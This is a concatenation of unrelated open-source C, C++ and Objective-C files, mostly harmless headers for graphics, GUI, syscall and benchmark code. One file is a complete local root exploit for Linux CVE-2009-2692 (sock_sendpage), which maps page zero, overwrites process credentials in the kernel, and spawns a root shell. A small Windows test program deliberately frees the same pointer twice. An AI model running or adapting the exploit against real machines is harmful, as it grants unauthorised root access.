#ifndef CANVAS_H
#define CANVAS_H
#include <stdint.h>
#include "../core/colors.h"
#include "../core/point.h"
#include "../core/section.h"
#include "../core/timer/timer.h"
#include "fonts/font.h"
namespace PixelMaestro {
class Section;
class Timer;
class Canvas {
public:
explicit Canvas(Section& section, uint16_t num_frames = 1);
~Canvas();
void initialize();
void clear();
void draw_circle(uint16_t frame_index, uint8_t color_index, uint16_t origin_x, uint16_t origin_y, uint16_t radius, bool fill);
void draw_frame(uint16_t frame_index, uint8_t* frame, uint16_t size_x, uint16_t size_y);
void draw_line(uint16_t frame_index, uint8_t color_index, uint16_t origin_x, uint16_t origin_y, uint16_t target_x, uint16_t target_y);
void draw_point(uint16_t frame_index, uint8_t color_index, uint16_t x, uint16_t y);
void draw_rect(uint16_t frame_index, uint8_t color_index, uint16_t origin_x, uint16_t origin_y, uint16_t size_x, uint16_t size_y, bool fill);
void draw_text(uint16_t frame_index, uint8_t color_index, uint16_t origin_x, uint16_t origin_y, Font& font, const char* text, uint8_t num_chars);
void draw_triangle(uint16_t frame_index, uint8_t color_index, uint16_t point_a_x, uint16_t point_a_y, uint16_t point_b_x, uint16_t point_b_y, uint16_t point_c_x, uint16_t point_c_y, bool fill);
void erase_point(uint16_t frame_index, uint16_t x, uint16_t y);
uint16_t get_current_frame_index() const;
Timer* get_frame_timer() const;
uint8_t* get_frame(uint16_t frame) const;
uint16_t get_num_frames() const;
Palette* get_palette() const;
Colors::RGB* get_pixel_color(uint16_t x, uint16_t y);
Section& get_section() const;
void next_frame();
void previous_frame();
void remove_frame_timer();
void set_current_frame_index(uint16_t index);
void set_frame_timer(uint16_t speed);
void set_num_frames(uint16_t num_frames);
void set_palette(Palette& palette);
void update(const uint32_t& current_time);
private:
/// The index of the current frame.
uint16_t current_frame_index_ = 0;
/// Timer for frame animations.
Timer* frame_timer_ = nullptr;
/**
* The frames in the Canvas.
* Each frame consists the index of a color in the palette.
*/
uint8_t** frames_ = nullptr;
/// The number of frames.
uint16_t num_frames_ = 0;
/// Color palette used in the Canvas.
Palette* palette_ = nullptr;
/// The Canvas' parent Section.
Section& section_;
void delete_frames();
};
}
#endif // CANVAS_H
|
#ifndef DISMOEVALUATOR_H
#define DISMOEVALUATOR_H
/*
DisMo Annotator
Copyright (c) 2012-2014 George Christodoulides
This program or module is free software: you can redistribute it
and/or modify it under the terms of the GNU General Public License
as published by the Free Software Foundation, either version 3 of
the License, or (at your option) any later version. It is provided
for educational purposes and is distributed in the hope that it will
be useful, but WITHOUT ANY WARRANTY; without even the implied
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See
the GNU General Public License for more details.
*/
#include "TokenList.h"
namespace DisMoAnnotator {
class DismoEvaluator
{
public:
class ComparisonTableLine {
public:
bool ignore;
QString name;
RealTime xMin;
RealTime xMax;
QString tokmin;
QString posmin_dismo;
QString posmin_corr;
QString tokmwu_dismo;
QString tokmwu_corr;
QString posmwu_dismo;
QString posmwu_corr;
QString discourse_dismo;
QString discourse_corr;
QString disfluency_dismo;
QString disfluency_corr;
QString boundary_dismo;
QString boundary_corr;
QString lemma_dismo;
QString lex_dismo;
double confidence_posmin_dismo;
QString method_dismo;
};
DismoEvaluator() {}
void compare(const QString &name, TokenList &TLdismo, TokenList &TLcorrect);
QStringList writeToTable() const;
void writeToTableFile(const QString &filename) const;
double getPrecisionPOSMinCoarse();
double getPrecisionPOSMinFine();
double getPrecisionPOSMinPrecise();
double getDisfluencyDetectionRecall();
double getDisfluencyDetectionPrecision();
double getDisfluencyClassificationPrecision();
double getDiscourseDetectionPrecision();
double getDiscourseDetectionRecall();
double getDiscourseClassificationPrecision();
private:
QList<ComparisonTableLine *> m_comparison;
};
}
#endif // DISMOEVALUATOR_H
|
#include <windows.h>
#define NUMPTRS 10
int main(int argc, char **argv) {
char *foo[NUMPTRS];
int i;
Sleep(10000);
for (i = 0; i < NUMPTRS; i++) {
foo[i] = malloc(256);
printf("%d: 0x%08x\n", i, foo[i]);
}
for (i = 0; i < NUMPTRS; i+=2) {
free(foo[i]);
}
free(foo[i-2]);
}
|
/* _ _ _ _ _
* (_) | (_) (_) |
* ___ _ _ __ ___ _ __ | |_ ___ _| |_ _ _
* / __| | '_ ` _ \| '_ \| | |/ __| | __| | | |
* \__ \ | | | | | | |_) | | | (__| | |_| |_| |
* |___/_|_| |_| |_| .__/|_|_|\___|_|\__|\__, |
* | | __/ |
* |_| |___/
*
* This file is part of simplicity. See the LICENSE file for the full license governing this code.
*/
#ifndef FRAMEBUFFER_H
#define FRAMEBUFFER_H
#include <memory>
#include <vector>
#include "Texture.h"
namespace simplicity
{
class SIMPLE_API FrameBuffer
{
public:
/**
* <p>
* Allows polymorphism.
* </p>
*/
virtual ~FrameBuffer()
{
}
virtual void apply() = 0;
virtual std::vector<std::shared_ptr<Texture>>& getTextures() = 0;
};
}
#endif /* FRAMEBUFFER_H */
|
/*
** FILE: scrolling_char_display.h
**
*/
#include <avr/pgmspace.h>
void set_display_text(char* string);
/* Sets the text to be displayed. The message will
* be displayed after the current message (if any). (Only
* one message can be queued for display (i.e. to be
* displayed after the current message) - from the last
* call to this function.)
*/
uint8_t scroll_display(void);
/* Scroll the display. Should be called whenever the display
* is to be scrolled one bit to the left. It is assumed that
* this happens much less frequently than display_row() is
* called. (This accesses the LED "display" value directly.)
* Returns 1 if display is scrolled, 0 if scrolled message
* is complete.
*/
|
/*
SDL_mixer: An audio mixer library based on the SDL library
Copyright (C) 1997-2017 Sam Lantinga <slouken@libsdl.org>
This software is provided 'as-is', without any express or implied
warranty. In no event will the authors be held liable for any damages
arising from the use of this software.
Permission is granted to anyone to use this software for any purpose,
including commercial applications, and to alter it and redistribute it
freely, subject to the following restrictions:
1. The origin of this software must not be misrepresented; you must not
claim that you wrote the original software. If you use this software
in a product, an acknowledgment in the product documentation would be
appreciated but is not required.
2. Altered source versions must be plainly marked as such, and must not be
misrepresented as being the original software.
3. This notice may not be removed or altered from any source distribution.
*/
/* Locking wrapper functions */
void Mix_LockAudio();
void Mix_UnlockAudio();
|
/**************************************************************************
*
* Copyright 2009 VMware, Inc. All Rights Reserved.
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sub license, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice (including the
* next paragraph) shall be included in all copies or substantial portions
* of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT.
* IN NO EVENT SHALL TUNGSTEN GRAPHICS AND/OR ITS SUPPLIERS BE LIABLE FOR
* ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
**************************************************************************/
/* Authors:
* Michel Dänzer
*/
#include "pipe/p_context.h"
#include "pipe/p_state.h"
#include "util/u_pack_color.h"
#include "util/u_rect.h"
/**
* Clear the given buffers to the specified values.
* No masking, no scissor (clear entire buffer).
*/
static INLINE void
util_clear(struct pipe_context *pipe,
struct pipe_framebuffer_state *framebuffer, unsigned buffers,
const float *rgba, double depth, unsigned stencil)
{
if (buffers & PIPE_CLEAR_COLOR) {
struct pipe_surface *ps = framebuffer->cbufs[0];
union util_color uc;
util_pack_color(rgba, ps->format, &uc);
if (pipe->surface_fill) {
pipe->surface_fill(pipe, ps, 0, 0, ps->width, ps->height, uc.ui);
} else {
util_surface_fill(pipe, ps, 0, 0, ps->width, ps->height, uc.ui);
}
}
if (buffers & PIPE_CLEAR_DEPTHSTENCIL) {
struct pipe_surface *ps = framebuffer->zsbuf;
if (pipe->surface_fill) {
pipe->surface_fill(pipe, ps, 0, 0, ps->width, ps->height,
util_pack_z_stencil(ps->format, depth, stencil));
} else {
util_surface_fill(pipe, ps, 0, 0, ps->width, ps->height,
util_pack_z_stencil(ps->format, depth, stencil));
}
}
}
|
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* MeetiX OS By MeetiX OS Project [Marco Cicognani & D. Morandi] *
* *
* DERIVED FROM THE GHOST OPERATING SYSTEM *
* This software is derived from the Ghost operating system project, *
* written by Max Schlüssel <lokoxe@gmail.com>. Copyright 2012-2017 *
* https://ghostkernel.org/ *
* https://github.com/maxdev1/ghost *
* *
* This program is free software; you can redistribute it and/or *
* modify it under the terms of the GNU General Public License *
* as published by the Free Software Foundation; either version 2 *
* of the License, or (char *argumentat your option) any later version. *
* *
* This program is distributed in the hope that it will be useful, *
* but WITHout ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
* GNU General Public License for more details. *
* *
* You should have received a copy of the GNU General Public License *
* along with this program; if not, write to the Free Software *
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
#ifndef EVA_API_CALLS_RAMDISKCALLS
#define EVA_API_CALLS_RAMDISKCALLS
#include "eva/ramdisk.h"
__BEGIN_C
/**
* @field path
* the absolute path of the file to find
*
* @field nodeID
* the resulting node id. if the file is
* not found, this field is -1.
*
* @security-level APPLICATION
*/
typedef struct
{
char *path;
int32_t nodeID;
}__attribute__((packed)) SyscallRamdiskFind;
/**
* @field childName
* the relative path of the file to find
*
* @field parentId
* the id of the parent folder
*
* @field nodeID
* the resulting node id. if the file does
* not exist, this field is -1.
*/
typedef struct
{
int32_t parentID;
char *childName;
int32_t nodeID;
}__attribute__((packed)) SyscallRamdiskFindChild;
/**
* @field nodeID
* the id of the file to read from
*
* @field offset
* the offset within the file
*
* @field length
* the maximum number of bytes to write to the buffer
*
* @field buffer
* the target buffer
*
* @field readBytes
* the resulting number of bytes that were actually read
*/
typedef struct
{
int32_t nodeID;
uint32_t offset;
uint32_t length;
char *buffer;
int32_t readBytes;
}__attribute__((packed)) SyscallRamdiskRead;
/**
* @field nodeID
* the id of the file to get information of
*
* @field type
* the file type, or UNKNOWN/-1 if not existent
*
* @field length
* the files length
*
* @field name
* the name of the file
*/
typedef struct
{
int32_t nodeID;
RamdiskEntryType type;
uint32_t length;
char name[RAMDISK_MAXIMUM_PATH_LENGTH];
}__attribute__((packed)) SyscallRamdiskInfo;
/**
* @field nodeID
* the id of the folder
*
* @field count
* the resulting number of children
*/
typedef struct
{
int32_t nodeID;
uint32_t count;
}__attribute__((packed)) SyscallRamdiskChildCount;
/**
* @field nodeID
* the id of the folder
*
* @field index
* the index of the child entry
*
* @field childId
* the resulting child id
*/
typedef struct
{
int32_t nodeID;
uint32_t index;
int32_t childID;
}__attribute__((packed)) SyscallRamdiskChildAt;
__END_C
#endif
|
/*
This file is part of Telegram Desktop,
the official desktop version of Telegram messaging app, see https://telegram.org
Telegram Desktop is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
It is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
In addition, as a special exception, the copyright holders give permission
to link the code of portions of this program with the OpenSSL library.
Full license: https://github.com/telegramdesktop/tdesktop/blob/master/LICENSE
Copyright (c) 2014-2016 John Preston, https://desktop.telegram.org
*/
#pragma once
#include "ui/widgets/continuous_slider.h"
#include "styles/style_widgets.h"
namespace Ui {
class FilledSlider : public ContinuousSlider {
public:
FilledSlider(QWidget *parent, const style::FilledSlider &st);
protected:
void paintEvent(QPaintEvent *e) override;
private:
QRect getSeekRect() const override;
float64 getOverDuration() const override;
const style::FilledSlider &_st;
};
} // namespace Ui
|
// ----------------------------------------------------------------------------
//
// VDream Component Suite version 9.0
//
// http://www.gilgil.net
//
// Copyright (c) Gilbert Lee All rights reserved
//
// ----------------------------------------------------------------------------
#ifndef __V_LOG_DBWIN32_H__
#define __V_LOG_DBWIN32_H__
#ifdef WIN32
#include <VLog>
// ----------------------------------------------------------------------------
// VLogDBWin32
// ----------------------------------------------------------------------------
class VLogDBWin32 : public VLog
{
protected:
virtual void write(const char* buf, int len);
public:
virtual VLog* createByURI(const QString& uri);
};
#endif // WIN32
#endif // __V_LOG_DBWIN32_H__
|
/*!
* \file
*
* Copyright (c) 2010 Johann A. Briffa
*
* This file is part of SimCommSys.
*
* SimCommSys is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* SimCommSys is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with SimCommSys. If not, see <http://www.gnu.org/licenses/>.
*
* \section svn Version Control
* - $Id: FilterVarianceDlg.h 4396 2010-12-09 09:56:06Z jabriffa $
*/
#ifndef afx_filtervariancedlg_h
#define afx_filtervariancedlg_h
/////////////////////////////////////////////////////////////////////////////
// CAboutDlg dialog used for App About
class CAboutDlg : public CDialog
{
public:
CAboutDlg();
// Dialog Data
//{{AFX_DATA(CAboutDlg)
enum { IDD = IDD_ABOUTBOX };
//}}AFX_DATA
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CAboutDlg)
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
//}}AFX_VIRTUAL
// Implementation
protected:
//{{AFX_MSG(CAboutDlg)
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
/////////////////////////////////////////////////////////////////////////////
// CFilterVarianceDlg dialog
class CFilterVarianceDlg : public CDialog
{
// Construction
public:
CFilterVarianceDlg(CWnd* pParent = NULL); // standard constructor
libwin::CPSPlugIn* m_pPSPlugIn;
// Dialog Data
//{{AFX_DATA(CFilterVarianceDlg)
enum { IDD = IDD_DIALOG1 };
int m_nRadius;
int m_nScale;
BOOL m_bAutoScale;
//}}AFX_DATA
// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CFilterVarianceDlg)
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
//}}AFX_VIRTUAL
// Implementation
protected:
// Generated message map functions
//{{AFX_MSG(CFilterVarianceDlg)
virtual BOOL OnInitDialog();
afx_msg void OnChangeRadius();
afx_msg void OnAutoscale();
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
#endif
|
/* free.c ---
*
* Filename: free.c
* Author: Alexandre BIGUET
* Created: Sun Mar 5 12:38:42 2017 (+0100)
* Last-Updated: Sun Mar 5 12:39:02 2017 (+0100)
* By: Alexandre BIGUET
* Update #: 4
*
*
*/
#include "tvector.h"
void TVector_free ( TVector *M )
{
RETURN_IF_NULL ( M );
for ( size_t i = 0 ; i < M->l ; i++ )
{
Vector_free ( M->Vtab[i] );
}
free ( M->Vtab );
free ( M );
M = 0 ;
}
/* free.c ends here */
|
/*
* Copyright 2009 Michal Turek
*
* This file is part of Graphal library.
* http://graphal.sourceforge.net/
*
* Graphal library is free software: you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation, version 3 of the License.
*
* Graphal library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with Graphal library. If not, see <http://www.gnu.org/licenses/>.
*/
/****************************************************************************
* *
* This file was generated by gen_builtin.pl script. *
* Don't update it manually! *
* *
****************************************************************************/
#ifndef NODEBUILTINISNULL_H
#define NODEBUILTINISNULL_H
#include "general.h"
#include "nodefunctionbuiltin.h"
class NodeBuiltinIsNull : public NodeFunctionBuiltin
{
public:
NodeBuiltinIsNull(identifier name, list<identifier>* parameters);
virtual ~NodeBuiltinIsNull(void);
virtual CountPtr<Value> execute(void);
private:
NodeBuiltinIsNull(void);
NodeBuiltinIsNull(const NodeBuiltinIsNull& object);
NodeBuiltinIsNull& operator=(const NodeBuiltinIsNull& object);
};
ostream& operator<<(ostream& os, const NodeBuiltinIsNull& node);
#endif /* NODEBUILTINISNULL_H */
|
/*
* Generated by class-dump 3.1.2.
*
* class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2007 by Steve Nygard.
*/
#import "_ABCreateStringWithAddressDictionary.h"
@class NSData, NSDictionary;
@interface CLSAnalyticsMetadataController : _ABCreateStringWithAddressDictionary
{
NSDictionary *_metadata;
NSData *_metadataJSONData;
}
+ (id)metadataWithTimeStamp:(unsigned long long)fp8 betaToken:(id)fp16 adToken:(id)fp20;
+ (void)setValueInDictionary:(id)fp8 withKey:(id)fp12 toLongLong:(unsigned long long)fp16;
+ (void)setValueInDictionary:(id)fp8 withKey:(id)fp12 toInteger:(int)fp16;
+ (void)setValueInDictionary:(id)fp8 withKey:(id)fp12 toLong:(unsigned int)fp16;
+ (void)setValueInDictionary:(id)fp8 withKey:(id)fp12 toBOOL:(BOOL)fp16;
+ (void)setValueInDictionary:(id)fp8 withKey:(id)fp12 toCString:(const char *)fp16;
+ (void)setValueInDictionary:(id)fp8 withKey:(id)fp12 toObject:(id)fp16;
+ (id)unwrapBetaToken:(id)fp8;
+ (id)bundleShortVersion;
+ (id)bundleVersion;
+ (id)bundleIdentifier;
+ (id)sessionIdentifier;
+ (id)installationId;
+ (id)instanceIdentifier;
+ (id)APIKey;
+ (id)hostVendorId;
+ (unsigned int)hostPlatformCode;
+ (id)hostPlatform;
+ (unsigned int)hostNumCores;
+ (_Bool)hostJailbroken;
+ (id)hostOSVersionName;
+ (id)hostOSVersion;
+ (id)hostLocale;
+ (id)hostMachine;
+ (id)hostModel;
+ (id)identifierForAdvertising;
+ (BOOL)trackingForAdvertisingEnabled;
+ (BOOL)advertisingSupportFrameworkLinked;
+ (id)ASManager;
- (id)metadata;
- (id)metadataJSONData;
- (id)initWithTimeStamp:(unsigned long long)fp8 betaToken:(id)fp16;
- (void)dealloc;
@end
|
/* Copyright (C) 2018 Magnus Lång and Tuan Phong Ngo
* This benchmark is part of SWSC */
#include <assert.h>
#include <stdint.h>
#include <stdatomic.h>
#include <pthread.h>
atomic_int vars[5];
atomic_int atom_0_r1_1;
atomic_int atom_1_r1_1;
void *t0(void *arg){
label_1:;
int v2_r1 = atomic_load_explicit(&vars[0], memory_order_seq_cst);
int v3_r3 = v2_r1 ^ v2_r1;
int v4_r3 = v3_r3 + 1;
atomic_store_explicit(&vars[1], v4_r3, memory_order_seq_cst);
int v21 = (v2_r1 == 1);
atomic_store_explicit(&atom_0_r1_1, v21, memory_order_seq_cst);
return NULL;
}
void *t1(void *arg){
label_2:;
int v6_r1 = atomic_load_explicit(&vars[1], memory_order_seq_cst);
int v7_r3 = v6_r1 ^ v6_r1;
int v10_r4 = atomic_load_explicit(&vars[2+v7_r3], memory_order_seq_cst);
int v11_cmpeq = (v10_r4 == v10_r4);
if (v11_cmpeq) goto lbl_LC00; else goto lbl_LC00;
lbl_LC00:;
atomic_store_explicit(&vars[3], 1, memory_order_seq_cst);
int v13_r8 = atomic_load_explicit(&vars[3], memory_order_seq_cst);
int v14_r9 = v13_r8 ^ v13_r8;
int v15_r9 = v14_r9 + 1;
atomic_store_explicit(&vars[4], v15_r9, memory_order_seq_cst);
int v17_r11 = atomic_load_explicit(&vars[4], memory_order_seq_cst);
atomic_store_explicit(&vars[0], 1, memory_order_seq_cst);
int v22 = (v6_r1 == 1);
atomic_store_explicit(&atom_1_r1_1, v22, memory_order_seq_cst);
return NULL;
}
int main(int argc, char *argv[]){
pthread_t thr0;
pthread_t thr1;
atomic_init(&vars[1], 0);
atomic_init(&vars[0], 0);
atomic_init(&vars[3], 0);
atomic_init(&vars[4], 0);
atomic_init(&vars[2], 0);
atomic_init(&atom_0_r1_1, 0);
atomic_init(&atom_1_r1_1, 0);
pthread_create(&thr0, NULL, t0, NULL);
pthread_create(&thr1, NULL, t1, NULL);
pthread_join(thr0, NULL);
pthread_join(thr1, NULL);
int v18 = atomic_load_explicit(&atom_0_r1_1, memory_order_seq_cst);
int v19 = atomic_load_explicit(&atom_1_r1_1, memory_order_seq_cst);
int v20_conj = v18 & v19;
if (v20_conj == 1) assert(0);
return 0;
}
|
/*
**
** 0x82-CVE-2009-2692
** Linux kernel 2.4/2.6 (32bit) sock_sendpage() local ring0 root exploit (simple ver)
** Tested RedHat Linux 9.0, Fedora core 4~11, Whitebox 4, CentOS 4.x.
**
** --
** Discovered by Tavis Ormandy and Julien Tinnes of the Google Security Team.
** spender and venglin's code is very excellent.
** Thankful to them.
**
** Greets: Brad Spengler <spender(at)grsecurity(dot)net>,
** Przemyslaw Frasunek <venglin(at)czuby(dot)pl>.
** --
** exploit by <p0c73n1(at)gmail(dot)com>.
**
** "Slow and dirty exploit for this one"
**
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <sys/personality.h>
unsigned int uid, gid;
void kernel_code()
{
unsigned long where=0;
unsigned long *pcb_task_struct;
where=(unsigned long )&where;
where&=~8191;
pcb_task_struct=(unsigned long *)where;
while(pcb_task_struct){
if(pcb_task_struct[0]==uid&&pcb_task_struct[1]==uid&&
pcb_task_struct[2]==uid&&pcb_task_struct[3]==uid&&
pcb_task_struct[4]==gid&&pcb_task_struct[5]==gid&&
pcb_task_struct[6]==gid&&pcb_task_struct[7]==gid){
pcb_task_struct[0]=pcb_task_struct[1]=pcb_task_struct[2]=pcb_task_struct[3]=0;
pcb_task_struct[4]=pcb_task_struct[5]=pcb_task_struct[6]=pcb_task_struct[7]=0;
break;
}
pcb_task_struct++;
}
return;
/*
** By calling iret after pushing a register into kernel stack,
** We don't have to go back to ring3(user mode) privilege level. dont worry. :-}
**
** kernel_code() function will return to its previous status which means before sendfile() system call,
** after operating upon a ring0(kernel mode) privilege level.
** This will enhance the viablity of the attack code even though each kernel can have different CS and DS address.
*/
}
void *kernel=kernel_code;
int main(int argc,char *argv[])
{
int fd_in=0,fd_out=0,offset=1;
void *zero_page;
uid=getuid();
gid=getgid();
if(uid==0){
fprintf(stderr,"[-] check ur uid\n");
return -1;
}
/*
** There are some cases that we need mprotect due to the dependency matter with SVR4. (however, I did not confirm it yet)
*/
if(personality(0xffffffff)==PER_SVR4){
if(mprotect(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC)==-1){
perror("[-] mprotect()");
return -1;
}
}
else if((zero_page=mmap(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE,0,0))==MAP_FAILED){
perror("[-] mmap()");
return -1;
}
*(char *)0x00000000=0xff;
*(char *)0x00000001=0x25;
*(unsigned long *)0x00000002=(unsigned long)&kernel;
*(char *)0x00000006=0xc3;
if((fd_in=open(argv[0],O_RDONLY))==-1){
perror("[-] open()");
return -1;
}
if((fd_out=socket(PF_APPLETALK,SOCK_DGRAM,0))==-1){
if((fd_out=socket(PF_BLUETOOTH,SOCK_DGRAM,0))==-1){
perror("[-] socket()");
return -1;
}
}
gogossing:
/*
** Sometimes, the attacks can fail. To enlarge the possiblilty of attack,
** an attacker can make all the processes runing under current user uid 0.
*/
if(sendfile(fd_out,fd_in,&offset,2)==-1){
if(offset==0){
perror("[-] sendfile()");
return -1;
}
close(fd_out);
fd_out=socket(PF_BLUETOOTH,SOCK_DGRAM,0);
}
if(getuid()==uid){
if(offset){
offset=0;
}
goto gogossing; /* all process */
}
close(fd_in);
close(fd_out);
execl("/bin/sh","sh","-i",NULL);
return 0;
}
/* eoc */
// milw0rm.com [2009-08-24] |
#ifndef ALTER_MISSION_MIGRATION_H
#define ALTER_MISSION_MIGRATION_H
#include "db_migration.h"
namespace db
{
class AlterMissionMigration: public DbMigration
{
public:
bool up() override;
bool down() override;
QDateTime version() const override;
};
}
#endif // ALTER_MISSION_MIGRATION_H
|
////////////////////////////////////////////////////////////////////////////
// Created : 02.04.2010
// Author : Dmitriy Iassenev
// Copyright (C) GSC Game World - 2010
////////////////////////////////////////////////////////////////////////////
#ifndef LINEAR_INTERPOLATOR_H_INCLUDED
#define LINEAR_INTERPOLATOR_H_INCLUDED
#include "base_interpolator.h"
namespace xray {
namespace animation {
class linear_interpolator : public base_interpolator {
public:
inline linear_interpolator ( float const transition_time ) : m_total_transition_time(transition_time) { }
virtual float interpolated_value ( float current_transition_time ) const;
virtual float transition_time ( ) const;
virtual linear_interpolator* clone ( mutable_buffer& buffer ) const;
virtual void accept ( interpolator_visitor& visitor ) const;
virtual void accept ( interpolator_comparer& dispatcher, base_interpolator const& interpolator ) const;
virtual void visit ( interpolator_comparer& dispatcher, instant_interpolator const& interpolator ) const;
virtual void visit ( interpolator_comparer& dispatcher, linear_interpolator const& interpolator ) const;
virtual void visit ( interpolator_comparer& dispatcher, fermi_dirac_interpolator const& interpolator ) const;
private:
float m_total_transition_time;
}; // class linear_interpolator
} // namespace animation
} // namespace xray
#endif // #ifndef LINEAR_INTERPOLATOR_H_INCLUDED |
#ifndef _HUNSPELL_VISIBILITY_H_
#define _HUNSPELL_VISIBILITY_H_
#define LIBHUNSPELL_DLL_EXPORTED
#endif
|
/*
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/
/********************************************************
* Copyright (C) Roger George Doss. All Rights Reserved.
********************************************************
*
* fchmod.c
* fchmod system call
*
********************************************************/
#include <unistd.h>
#include <platform/call.h>
#include <platform/syscall.h>
/* int fchmod (int fd, mode_t mode); */
_syscall_2(int,fchmod,int,fd,mode_t,mode);
|
/*
This source file is part of Rigs of Rods
Copyright 2005-2012 Pierre-Michel Ricordel
Copyright 2007-2012 Thomas Fischer
Copyright 2013-2020 Petr Ohlidal
For more information, see http://www.rigsofrods.org/
Rigs of Rods is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License version 3, as
published by the Free Software Foundation.
Rigs of Rods is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Rigs of Rods. If not, see <http://www.gnu.org/licenses/>.
*/
/// @file
/// @author Petr Ohlidal
/// @date 06/2017
#pragma once
#include <imgui.h>
namespace RoR {
namespace GUI {
class GameMainMenu
{
public:
// This class implements hand-made keyboard focus - button count must be known for wrapping
const float WINDOW_WIDTH = 200.f;
const ImVec4 WINDOW_BG_COLOR = ImVec4(0.1f, 0.1f, 0.1f, 0.8f);
const ImVec4 BUTTON_BG_COLOR = ImVec4(0.25f, 0.25f, 0.24f, 0.6f); // Drawn on top of a transparent panel; make it just a shade
const ImVec2 BUTTON_PADDING = ImVec2(4.f, 6.f);
GameMainMenu();
inline bool IsVisible() const { return m_is_visible; }
inline void SetVisible(bool v) { m_is_visible = v; m_kb_focus_index = -1; }
void Draw();
void CacheUpdatedNotice();
private:
void DrawMenuPanel();
void DrawVersionBox();
void DrawNoticeBox();
bool HighlightButton(const std::string &text, ImVec2 btn_size, int index) const;
bool m_is_visible;
int m_num_buttons;
int m_kb_focus_index; // -1 = no focus; 0+ = button index
int m_kb_enter_index; // Focus positon when enter key was pressed.
const char* title;
bool cache_updated = false;
};
} // namespace GUI
} // namespace RoR
|
/*
* Copyright (C) 2015 - 2016 by Stefan Rothe
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef SMARTGLOVE_H
#define SMARTGLOVE_H
#include <Arduino.h>
#include "buttons.h"
#include "distance.h"
#include "motion.h"
#include "sensor.h"
#define MODE_PROTOCOL_MASK 0x03
#define MODE_PROTOCOL_JUNXION 0x00
#define MODE_PROTOCOL_FIRMATA 0x01
#define MODE_PROTOCOL_DEBUG 0x03
#define MODE_WIFI 0x04
#define MODE_PEAR 0x08
#define SENSOR_BEND_1 0
#define SENSOR_BEND_2 1
#define SENSOR_BEND_3 2
#define SENSOR_BEND_4 3
#define SENSOR_DIST_HAND 4
#define SENSOR_DIST_GROUND 5
#define SENSOR_ACCEL_X 6
#define SENSOR_ACCEL_Y 7
#define SENSOR_ACCEL_Z 8
#define SENSOR_GYRO_ROLL 9
#define SENSOR_GYRO_PITCH 10
#define SENSOR_GYRO_HEADING 11
#define SENSOR_COUNT (SENSOR_GYRO_HEADING + 1)
class Smartglove {
public:
Smartglove();
